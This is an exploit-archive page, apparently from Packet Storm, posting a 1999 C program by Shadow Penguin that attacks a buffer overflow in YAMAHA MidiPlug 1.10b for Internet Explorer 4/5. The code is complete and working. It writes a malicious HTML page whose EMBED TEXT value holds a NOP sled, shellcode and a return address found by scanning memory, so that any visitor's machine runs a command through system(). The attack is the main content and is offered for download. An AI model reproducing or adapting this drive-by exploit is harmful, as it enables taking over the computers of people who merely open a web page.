Twenty Year Anniversary

ex_midiplug.c

ex_midiplug.c
Posted Nov 5, 1999
Authored by shadowpenguin

Midi-Plugin program "YAMAHA MidiPlug 1.10b" for Windows IE4/5 contains the buffer overflow bug. If the long "TEXT" variable is specified in EMBED tag, the buffer overflow occurs. If attacker sets the exploit on the webpage, visitor's host will be cracked by the any instructions written in the "TEXT" variable.

tags | exploit, overflow
systems | windows
MD5 | 4e23d1169262502ad9b3b4bf27d33914

ex_midiplug.c

Change Mirror Download
/*=============================================================================
YAMAHA MidiPLUG 1.10b-j for Windows98 IE4.0/5.0 exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/

#include <stdio.h>
#include <windows.h>

#define MAXBUF 700
#define RETADR 256

unsigned int mems[]={
0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000,
0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000,
0xbfee0000,0xbfee5000,0xbff20000,0xbff47000,
0xbff50000,0xbff61000,0xbff70000,0xbffc6000,
0xbffc9000,0xbffe3000,0,0};

unsigned char exploit_code[200]={
0x90,0xEB,0x50,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x90,0x88,0x23,0xB8,0x50,0x57,0xF7,0xBF,0x80,
0xc4,0x20,0xFF,0xD0,0x43,0x90,0xB2,0xE0,0x90,0x28,
0x13,0x28,0x53,0x01,0x28,0x53,0x02,0x28,0x53,0x03,
0x28,0x53,0x04,0x28,0x53,0x05,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x90,0x88,0x23,0xB8,0x28,0x4E,0xF7,
0xBF,0x80,0xc4,0x20,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x90,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x90,0xEB,0xFD,0xE8,0xAB,0xFF,0xFF,0xFF,0x00
};

unsigned char cmdbuf[200]="MSVCRT.DLL.SYSTEM.WELCOME.EXE";

unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;

for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);

}
main(int argc,char *argv[])
{
FILE *fp;
unsigned int i,ip;
unsigned char buf[MAXBUF];

if (argc<2){
printf("usage %s output_htmlfile\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
fprintf(fp,"<HTML><EMBED\nTYPE=\"audio/midi\"\nWIDTH=150\nHEIGHT=40\nAUTOSTART=TRUE\nTEXT=\"");
for (i=0;;i+=2){
if (mems[i]==0){
printf("Can not find jmp code.\n");
exit(1);
}
if ((ip=search_mem(fp,(unsigned char *)mems[i],
(unsigned char *)mems[i+1],0xff,0xe0))!=0) break;
}
printf("Jumping address : %x\n",ip);
memset(buf,0x90,MAXBUF);
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
strcat(exploit_code,cmdbuf);
memcpy(buf,exploit_code,strlen(exploit_code));
buf[MAXBUF]=0;
fprintf(fp,"%s\"\n>\n</HTML>",buf);
fclose(fp);
printf("%s created.\n",argv[1]);
return FALSE;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    16 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    19 Files
  • 23
    Oct 23rd
    24 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close